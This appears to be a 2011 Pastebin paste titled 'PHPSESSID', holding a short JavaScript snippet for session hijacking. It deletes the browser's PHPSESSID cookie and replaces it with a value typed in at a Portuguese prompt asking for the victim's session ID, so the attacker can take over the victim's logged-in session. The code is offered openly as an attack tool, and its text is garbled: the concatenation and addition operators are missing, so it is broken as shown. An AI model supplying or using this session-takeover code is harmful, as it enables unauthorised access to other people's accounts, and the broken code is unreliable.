nPhoenix

PHPSESSID

Oct 2nd, 2011
309
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function jsid(valor) {
  2.     function setCookie(c_name, value, expiredays) {
  3.         var exdate = new Date();
  4.         exdate.setDate(exdate.getDate() expiredays);
  5.         document.cookie = c_name "="
  6.         escape(value)((expiredays == null) ? "" : ";expires="
  7.         exdate.toUTCString());
  8.     }
  9.     function eraseCookie(name) {
  10.         setCookie(name, "", -1);
  11.     }
  12.     eraseCookie("PHPSESSID");
  13.     setCookie("PHPSESSID", valor, 24);
  14. }
  15. c = prompt('Coloque a PHPSESSID da vitima', 'aqui');
  16. jsid(c);
Advertisement
Add Comment
Please, Sign In to add comment